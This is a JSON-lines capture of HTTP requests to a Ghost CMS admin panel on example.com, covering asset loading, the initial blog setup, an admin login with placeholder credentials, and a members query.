{"method": "GET", "target": "/ghost/assets/trending-down-DF5-DLrU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/trending-up-ZeqNsItu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/triangle-alert-C2nVQPSI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/type-DMVGYbHH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/undo-2-FoBfGQWM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/unlink-U-Rg6HnP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/upload-C-uMUf3q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-plus-Da4UvDKo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-check-fQqHvyjW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-x-DC7feApp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-Tvyl-lTH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-BPjbwN-J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/users-B8l6egb_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/wallet-cards-DjKzv_P3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/webhook-BDtpHv94.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/x-D9mfak9O.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/zap-HzBi1coK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/icons-ClwlmWSu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-ChMehFmm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/alert-dialog-fhP2wZq3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/avatar-BMfooKMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/badge-DMeVfVsR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/banner-E48MJePb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dialog-Dgn8NUEz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/overlay-escape-Zs8Fgpfg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D-0IA9lC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dropdown-menu-C28h_ytx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/empty-indicator-meoabaL0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/separator-BK1H909V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/input-surface-iQhmm6Kt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/input-QTg0yKue.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/input-group-D4AIf997.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/kbd-Bbi4Nkkp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sheet-CCNUcK2Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-mobile-BD7lg4t-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/sticky-footer-nkSt2z_Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/large-page-title-Ji9icfTU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/custom-theme-settings-D2WGaIc_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/themes-DSPpuTUn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-loading-Dxi0iRq5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/iso-_B9XaeWP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-preferences-B0PbfB0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/site-uZuXd-v3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/reload-Ct6s_xiO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/admin-link-CP2k2nca.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tags-CP6OL-4x.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/posts-ANvOkryA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/command-B3vdhO98.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/popover-DRRhIsW0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/multi-select-combobox-BgzCpWMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index.module-CXVVhCXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pages-CSQSKI6V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tiers-KrkVJjTT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/label-picker-CHocWit1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/shared-views-av3Cu3au.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/api-o_yGTaqZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/koenig-loader-Cc2OMiDU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/editor-loading-B2j1keaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/constants-CbfF6lyS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/moment-timezone-D5Us53JJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/logo-loader-88VPEpXE.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Range: bytes=0-"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/users/me/?include=roles", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/settings/?group=site%2Ctheme%2Cprivate%2Cmembers%2Cportal%2Cnewsletter%2Cemail%2Clabs%2Cslack%2Cunsplash%2Cviews%2Cfirstpromoter%2Ceditor%2Ccomments%2Canalytics%2Cannouncement%2Cpintura%2Cdonations%2Csecurity%2Csocial_web%2Cexplore%2Ctransistor", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/site/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/config/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/setup-DWks57uU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/field-574pWL80.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/label-vIUVGh2q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-8uIrBDxl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/auth-layout-CaD1cj0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/validator-C1GVGAAP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/password-rules-Co1GJV0H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ghost-orb-bYPPSSAp.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/InterVariable-DiVDrmQJ.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 123", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Example Blog\",\"name\":\"Alice Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
{"method": "GET", "target": "/ghost/api/admin/members/?limit=1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
